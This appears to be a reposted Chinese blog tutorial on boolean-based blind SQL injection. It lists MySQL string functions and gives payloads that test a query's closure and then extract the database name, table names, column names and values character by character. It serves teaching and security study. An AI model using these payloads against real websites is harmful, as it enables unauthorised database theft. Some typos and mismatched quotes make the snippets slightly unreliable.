SQL注入——布尔型盲注

布尔型盲注

  • 布尔型盲注是由于页面提交数据在与数据交互是完全没有在页面上出现回显数据,只会出现数据提交正确和错误俩种不同页面(报错型至少语法错误会回显错误在页面上)或者无法使用联合查询。
    注意前三个步骤还是前面一样的至少需要构造出闭合
    布尔型是利用页面至少会呈现正确提交和错误提交俩种不同回馈,来构造sql语句逐个猜测数据库中内容。

我们需要用到函数


 - Length()//返回字符串的长度
	Length(abc)返回3,表示abc字符串长度为3
 - Substr()//截取字符串
	Stbstr(abc,1,1) 返回a,从abc的第一位开始截,步长为1。
 - mid() //取出字符串的一部分值
	mid(abc,1,1) 返回a,从abc的第一位开取,步长为1.与substr()用法一致
 - left() //取出字符串左边的几个数据
	left(abc,1) 返回a
	left(abc,2) 返回ab
 - right()  //取出右边的几个数据
	right(abc,1) 返回c
	right(abc,2) 返回bc
 - ord()与 ascii()//返回一个字符的ascii码值
	ascii(s) 返回114
 - hex() //返回16进制数

语句


 - 构造判断语句 id =1 and 1=2 id =1’ and 1=2 –+ id =1“ and 1=2 –+
 - 构造暴库语句 :
	id=1‘ and length(database())>1 --+ //增1这个数字大小来判断库名长度
	id 1’ and ascii(substr(database(),1,1)) > 1 --+ //增加1这个数据来判断数据库名的第一个字母ascii值大小,参考码表
	id=1‘ and ascii(substr((select table_name from information_schema.tables where table_schema='库名' limit 0,1),1,1))>1 --+ //表名
	id =1‘ and ascii(substr((select column_name from information_schema. columns where TABLE_name = 'your table' and table_schema = '库名' limit 0,1),1,1))  //列名
	id=1‘ and ascii(substr((select ’列名‘ from '表名' limit 0,1),1,1)) //爆值

猜你喜欢

转载自blog.csdn.net/qq_41554179/article/details/88414079